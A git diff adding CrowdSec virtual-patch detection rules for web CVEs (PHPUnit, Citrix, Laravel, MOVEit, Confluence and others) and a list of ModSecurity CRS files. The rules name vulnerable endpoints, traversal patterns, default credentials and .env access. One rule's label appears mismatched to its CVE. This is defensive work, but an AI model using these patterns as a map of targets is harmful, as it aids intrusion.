+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-901-INITIALIZATION.conf
+ dest_file: REQUEST-901-INITIALIZATION.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-905-COMMON-EXCEPTIONS.conf
+ dest_file: REQUEST-905-COMMON-EXCEPTIONS.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-911-METHOD-ENFORCEMENT.conf
+ dest_file: REQUEST-911-METHOD-ENFORCEMENT.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-913-SCANNER-DETECTION.conf
+ dest_file: REQUEST-913-SCANNER-DETECTION.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-920-PROTOCOL-ENFORCEMENT.conf
+ dest_file: REQUEST-920-PROTOCOL-ENFORCEMENT.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-921-PROTOCOL-ATTACK.conf
+ dest_file: REQUEST-921-PROTOCOL-ATTACK.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-922-MULTIPART-ATTACK.conf
+ dest_file: REQUEST-922-MULTIPART-ATTACK.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-930-APPLICATION-ATTACK-LFI.conf
+ dest_file: REQUEST-930-APPLICATION-ATTACK-LFI.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-931-APPLICATION-ATTACK-RFI.conf
+ dest_file: REQUEST-931-APPLICATION-ATTACK-RFI.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-932-APPLICATION-ATTACK-RCE.conf
+ dest_file: REQUEST-932-APPLICATION-ATTACK-RCE.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-933-APPLICATION-ATTACK-PHP.conf
+ dest_file: REQUEST-933-APPLICATION-ATTACK-PHP.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-934-APPLICATION-ATTACK-GENERIC.conf
+ dest_file: REQUEST-934-APPLICATION-ATTACK-GENERIC.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-941-APPLICATION-ATTACK-XSS.conf
+ dest_file: REQUEST-941-APPLICATION-ATTACK-XSS.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-942-APPLICATION-ATTACK-SQLI.conf
+ dest_file: REQUEST-942-APPLICATION-ATTACK-SQLI.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION.conf
+ dest_file: REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-944-APPLICATION-ATTACK-JAVA.conf
+ dest_file: REQUEST-944-APPLICATION-ATTACK-JAVA.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/REQUEST-949-BLOCKING-EVALUATION.conf
+ dest_file: REQUEST-949-BLOCKING-EVALUATION.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/RESPONSE-950-DATA-LEAKAGES.conf
+ dest_file: RESPONSE-950-DATA-LEAKAGES.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/RESPONSE-951-DATA-LEAKAGES-SQL.conf
+ dest_file: RESPONSE-951-DATA-LEAKAGES-SQL.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/RESPONSE-952-DATA-LEAKAGES-JAVA.conf
+ dest_file: RESPONSE-952-DATA-LEAKAGES-JAVA.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/RESPONSE-953-DATA-LEAKAGES-PHP.conf
+ dest_file: RESPONSE-953-DATA-LEAKAGES-PHP.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/RESPONSE-954-DATA-LEAKAGES-IIS.conf
+ dest_file: RESPONSE-954-DATA-LEAKAGES-IIS.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/RESPONSE-955-WEB-SHELLS.conf
+ dest_file: RESPONSE-955-WEB-SHELLS.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/RESPONSE-959-BLOCKING-EVALUATION.conf
+ dest_file: RESPONSE-959-BLOCKING-EVALUATION.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/RESPONSE-980-CORRELATION.conf
+ dest_file: RESPONSE-980-CORRELATION.conf
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/crawlers-user-agents.data
+ dest_file: crawlers-user-agents.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/iis-errors.data
+ dest_file: iis-errors.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/java-classes.data
+ dest_file: java-classes.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/java-code-leakages.data
+ dest_file: java-code-leakages.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/java-errors.data
+ dest_file: java-errors.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/lfi-os-files.data
+ dest_file: lfi-os-files.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/php-config-directives.data
+ dest_file: php-config-directives.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/php-errors.data
+ dest_file: php-errors.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/php-errors-pl2.data
+ dest_file: php-errors-pl2.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/php-function-names-933150.data
+ dest_file: php-function-names-933150.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/php-function-names-933151.data
+ dest_file: php-function-names-933151.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/php-variables.data
+ dest_file: php-variables.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/restricted-files.data
+ dest_file: restricted-files.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/restricted-upload.data
+ dest_file: restricted-upload.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/scanners-headers.data
+ dest_file: scanners-headers.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/scanners-urls.data
+ dest_file: scanners-urls.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/scanners-user-agents.data
+ dest_file: scanners-user-agents.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/scripting-user-agents.data
+ dest_file: scripting-user-agents.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/sql-errors.data
+ dest_file: sql-errors.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/ssrf.data
+ dest_file: ssrf.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/unix-shell.data
+ dest_file: unix-shell.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/web-shells-php.data
+ dest_file: web-shells-php.data
+ type: modsec
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/windows-powershell-commands.data
+ dest_file: windows-powershell-commands.data
+ type: modsec
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2017-9841.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2017-9841.yaml
new file mode 100644
index 00000000000..68ffa64338f
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2017-9841.yaml
@@ -0,0 +1,23 @@
+name: crowdsecurity/vpatch-CVE-2017-9841
+description: "Detect CVE-2017-9841 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /util/php/eval-stdin.php
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "PHPUnit RCE (CVE-2017-9841)"
+ classification:
+ - cve.CVE-2017-9841
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-94
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2019-12989.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2019-12989.yaml
new file mode 100644
index 00000000000..6611e1ed838
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2019-12989.yaml
@@ -0,0 +1,43 @@
+name: crowdsecurity/vpatch-CVE-2019-12989
+description: "Detect CVE-2019-12989 exploits "
+rules:
+ - and:
+ - zones:
+ - METHOD
+ match:
+ type: equals
+ value: POST
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /sdwan/nitro/v1/config/get_package_file
+ - zones:
+ - ARGS
+ variables:
+ - action
+ transform:
+ - lowercase
+ match:
+ type: equals
+ value: "file_download"
+ - zones:
+ - BODY_ARGS
+ variables:
+ - json.get_package_file.site_name
+ match:
+ type: libinjectionSQL
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "citrix SQLi (CVE-2019-12989)"
+ classification:
+ - cve.CVE-2019-12989
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-89
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2020-11738.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2020-11738.yaml
new file mode 100644
index 00000000000..d42fbef1ca2
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2020-11738.yaml
@@ -0,0 +1,37 @@
+name: crowdsecurity/vpatch-CVE-2020-11738
+description: "Detect CVE-2020-11738 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /wp-admin/admin-ajax.php
+ - zones:
+ - ARGS
+ variables:
+ - action
+ match:
+ type: equals
+ value: duplicator_download
+ - zones:
+ - ARGS
+ variables:
+ - file
+ match:
+ type: contains
+ value: ".."
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Wordpress Snap Creek Duplicator (CVE-2020-11738)"
+ classification:
+ - cve.CVE-2020-11738
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-22
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2021-22941.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2021-22941.yaml
new file mode 100644
index 00000000000..54dc411a9e1
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2021-22941.yaml
@@ -0,0 +1,35 @@
+name: crowdsecurity/vpatch-CVE-2021-22941
+description: "Detect CVE-2021-22941 exploits "
+rules:
+ - and:
+ - zones:
+ - METHOD
+ match:
+ type: equals
+ value: POST
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /upload.aspx
+ - zones:
+ - ARGS
+ variables:
+ - uploadid
+ match:
+ type: contains
+ value: ".."
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Citrix RCE (CVE-2021-22941)"
+ classification:
+ - cve.CVE-2021-22941
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-284
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2021-3129.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2021-3129.yaml
new file mode 100644
index 00000000000..ad84d4c6599
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2021-3129.yaml
@@ -0,0 +1,30 @@
+name: crowdsecurity/vpatch-CVE-2021-3129
+description: "Detect CVE-2021-3129 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /_ignition/execute-solution
+ - zones:
+ - BODY_ARGS
+ variables:
+ - json.parameters.viewFile
+ match:
+ type: regex
+ value: "php://filter|phar://"
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution (CVE-2021-3129)"
+ classification:
+ - cve.CVE-2021-3129
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-98
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2022-27926.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2022-27926.yaml
new file mode 100644
index 00000000000..25974ee90d4
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2022-27926.yaml
@@ -0,0 +1,31 @@
+name: crowdsecurity/vpatch-CVE-2022-27926
+description: "Detect CVE-2022-27926 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /public/error.jsp
+ - zones:
+ - ARGS
+ variables:
+ - errCode
+ transform:
+ - lowercase
+ match:
+ type: libinjectionXSS
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Zimbra Collaboration (ZCS) - Cross Site Scripting (CVE-2022-27926)"
+ classification:
+ - cve.CVE-2022-27926
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-79
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2022-35914.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2022-35914.yaml
new file mode 100644
index 00000000000..f5aad071f58
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2022-35914.yaml
@@ -0,0 +1,24 @@
+name: crowdsecurity/vpatch-CVE-2022-35914
+description: "Detect CVE-2022-35914 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /vendor/htmlawed/htmlawed/htmlawedtest.php
+
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "GLPI <=10.0.2 - Remote Command Execution (CVE-2022-35914)"
+ classification:
+ - cve.CVE-2022-35914
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-74
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2022-44877.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2022-44877.yaml
new file mode 100644
index 00000000000..66b6ceeba64
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2022-44877.yaml
@@ -0,0 +1,30 @@
+name: crowdsecurity/vpatch-CVE-2022-44877
+description: "Detect CVE-2022-44877 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /login/index.php
+ - zones:
+ - ARGS
+ variables:
+ - login
+ match:
+ type: regex
+ value: "[^a-zA-Z0-9_.-]+"
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "CentOS Web Panel 7 RCE (CVE-2022-44877)"
+ classification:
+ - cve.CVE-2022-44877
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-78
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2022-46169.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2022-46169.yaml
new file mode 100644
index 00000000000..c73dd16afde
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2022-46169.yaml
@@ -0,0 +1,34 @@
+name: crowdsecurity/vpatch-CVE-2022-46169
+description: "Detect CVE-2022-46169 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /remote_agent.php
+ - zones:
+ - ARGS
+ variables:
+ - poller_id
+ match:
+ type: regex
+ value: "[^a-zA-Z0-9_]"
+
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Cacti <=1.2.22 - Remote Command Injection (CVE-2022-46169)"
+ classification:
+ - cve.CVE-2022-46169
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-74
+ - cwe.CWE-77
+ - cwe.CWE-78
+ - cwe.CWE-863
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2023-20198.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2023-20198.yaml
new file mode 100644
index 00000000000..1c51bb3dc9b
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2023-20198.yaml
@@ -0,0 +1,28 @@
+name: crowdsecurity/vpatch-CVE-2023-20198
+description: "Detect CVE-2023-20198 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /%77ebui_wsma_https
+ - zones:
+ - METHOD
+ match:
+ type: equals
+ value: POST
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "CISCO IOS XE account creation (CVE-2023-20198)"
+ classification:
+ - cve.CVE-2023-20198
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-287
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2023-22515.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2023-22515.yaml
new file mode 100644
index 00000000000..8a54159d587
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2023-22515.yaml
@@ -0,0 +1,37 @@
+name: crowdsecurity/vpatch-CVE-2023-22515
+description: "Detect CVE-2023-22515 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /setup/setupadministrator.action
+ - zones:
+ - METHOD
+ match:
+ type: equals
+ value: POST
+ - zones:
+ - HEADERS
+ variables:
+ - x-atlassian-token
+ transform:
+ - lowercase
+ match:
+ type: equals
+ value: "no-check"
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Atlassian Confluence Privesc (CVE-2023-22515)"
+ classification:
+ - cve.CVE-2023-22515
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-284
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2023-24489.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2023-24489.yaml
new file mode 100644
index 00000000000..5cbdf941526
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2023-24489.yaml
@@ -0,0 +1,41 @@
+name: crowdsecurity/vpatch-CVE-2023-24489
+description: "Detect CVE-2023-24489 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /documentum/upload.aspx
+ - zones:
+ - METHOD
+ match:
+ type: equals
+ value: POST
+ - zones:
+ - ARGS
+ variables:
+ - uploadid
+ match:
+ type: contains
+ value: ".."
+ - zones:
+ - RAW_BODY
+#it seems 'Page_Load' is the handler that can be abused, maybe some others can?
+ match:
+ type: contains
+ value: "Page_Load"
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Citrix ShareFile RCE (CVE-2023-24489)"
+ classification:
+ - cve.CVE-2023-24489
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-284
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2023-33617.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2023-33617.yaml
new file mode 100644
index 00000000000..0f35bc2d2e1
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2023-33617.yaml
@@ -0,0 +1,70 @@
+name: crowdsecurity/vpatch-CVE-2023-33617
+description: "Detect CVE-2023-33617 exploits "
+rules:
+ - and:
+ - zones:
+ - METHOD
+ transform:
+ - lowercase
+ match:
+ type: equals
+ value: post
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /boaform/admin/formlogin
+ - zones:
+ - BODY_ARGS
+ variables:
+ - username
+ transform:
+ - lowercase
+ match:
+ type: equals
+ value: "admin"
+ - zones:
+ - BODY_ARGS
+ variables:
+ - psd
+ transform:
+ - lowercase
+ match:
+ type: equals
+ value: "parks"
+ - and:
+ - zones:
+ - METHOD
+ match:
+ type: equals
+ value: POST
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /boaform/admin/formping
+ - zones:
+ - BODY_ARGS
+ variables:
+ - target_addr
+ transform:
+ - lowercase
+ match:
+ type: regex
+ value: "[^a-f0-9:.]+"
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Atlassian Confluence Privesc (CVE-2023-33617)"
+ classification:
+ - cve.CVE-2023-33617
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-78
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2023-34362.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2023-34362.yaml
new file mode 100644
index 00000000000..f1e84739d77
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2023-34362.yaml
@@ -0,0 +1,52 @@
+
+name: crowdsecurity/vpatch-CVE-2023-34362
+description: "Detect CVE-2023-34362 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: equals
+ value: /moveitisapi/moveitisapi.dll
+ - zones:
+ - ARGS
+ variables:
+ - action
+ match:
+ type: equals
+ value: m2
+ transform:
+ - lowercase
+ - zones:
+ - METHOD
+ match:
+ type: equals
+ value: POST
+ - zones:
+ - HEADERS_NAMES
+ transform:
+ - lowercase
+ match:
+ type: equals
+ value: 'x-silock-transaction'
+ - zones:
+ - HEADERS_NAMES
+ transform:
+ - lowercase
+ match:
+ type: regex
+ value: '.+x-silock-transaction'
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "MOVEit Transfer - Remote Code Execution (CVE-2023-34362)"
+ classification:
+ - cve.CVE-2023-34362
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-89
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2023-3519.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2023-3519.yaml
new file mode 100644
index 00000000000..e03c6c407e0
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2023-3519.yaml
@@ -0,0 +1,37 @@
+name: crowdsecurity/vpatch-CVE-2023-3519
+description: "Detect CVE-2023-3519 exploits "
+rules:
+ - and:
+ - zones:
+ - METHOD
+ match:
+ type: equals
+ value: GET
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /gwtest/formssso
+ - zones:
+ - ARGS
+ variables:
+ - target
+ transform:
+ - length
+ match:
+ type: gte
+ value: 100
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Citrix RCE (CVE-2023-3519)"
+ classification:
+ - cve.CVE-2023-3519
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-94
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2023-38205.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2023-38205.yaml
new file mode 100644
index 00000000000..f8f59130322
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2023-38205.yaml
@@ -0,0 +1,23 @@
+name: crowdsecurity/vpatch-CVE-2023-38205
+description: "Detect CVE-2023-38205 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: contains
+ value: ..cfide/wizards/common/
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Adobe ColdFusion access control bypass (CVE-2023-38205)"
+ classification:
+ - cve.CVE-2023-38205
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-284
\ No newline at end of file
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2023-40044.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2023-40044.yaml
new file mode 100644
index 00000000000..93aab371a94
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2023-40044.yaml
@@ -0,0 +1,38 @@
+name: crowdsecurity/vpatch-CVE-2023-40044
+description: "Detect CVE-2023-40044 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /aht/
+ - zones:
+ - METHOD
+ match:
+ type: equals
+ value: POST
+ - zones:
+ - BODY_ARGS
+ transform:
+ - b64decode
+ - lowercase
+ match:
+ type: contains
+ value: "cmd"
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "WS_FTP .NET deserialize RCE (CVE-2023-40044)"
+ classification:
+ - cve.CVE-2023-40044
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-502
+
+
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2023-42793.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2023-42793.yaml
new file mode 100644
index 00000000000..f7832be9a63
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2023-42793.yaml
@@ -0,0 +1,22 @@
+name: crowdsecurity/vpatch-CVE-2023-42793
+description: "Detect CVE-2023-42793"
+rules:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /rpc2
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "JetBrains Teamcity auth bypass (CVE-2023-42793)"
+ classification:
+ - cve.CVE-2023-42793
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-288
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2023-50164.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2023-50164.yaml
new file mode 100644
index 00000000000..a6dd6738869
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2023-50164.yaml
@@ -0,0 +1,38 @@
+name: crowdsecurity/vpatch-CVE-2023-50164
+description: "Detect CVE-2023-50164 exploits "
+rules:
+ - and:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: upload.action
+ - zones:
+ - METHOD
+ match:
+ type: equals
+ value: POST
+ - zones:
+ - BODY_ARGS
+ - ARGS
+ variables:
+ - uploadFileName
+ match:
+ type: contains
+ value: "../"
+labels:
+ type: exploit
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:exploit"
+ label: "Apache Struts2 (CVE-2023-50164)"
+ classification:
+ - cve.CVE-2023-50164
+ - attack.T1595
+ - attack.T1190
+ - cwe.CWE-552
+
+
diff --git a/appsec-rules/crowdsecurity/vpatch-env-access.yaml b/appsec-rules/crowdsecurity/vpatch-env-access.yaml
new file mode 100644
index 00000000000..736b949bd52
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-env-access.yaml
@@ -0,0 +1,20 @@
+name: crowdsecurity/vpatch-env-access
+description: "Detect access to .env files"
+rules:
+ - zones:
+ - URI
+ transform:
+ - lowercase
+ match:
+ type: endsWith
+ value: /.env
+labels:
+ type: scan
+ service: http
+ confidence: 3
+ spoofable: 0
+ behavior: "http:scan"
+ label: "Access to .env file"
+ classification:
+ - attack.T1595
+ - attack.T1190
diff --git a/ci.go b/ci.go
index efa3ae748f8..8ac4d0c62b5 100644
--- a/ci.go
+++ b/ci.go
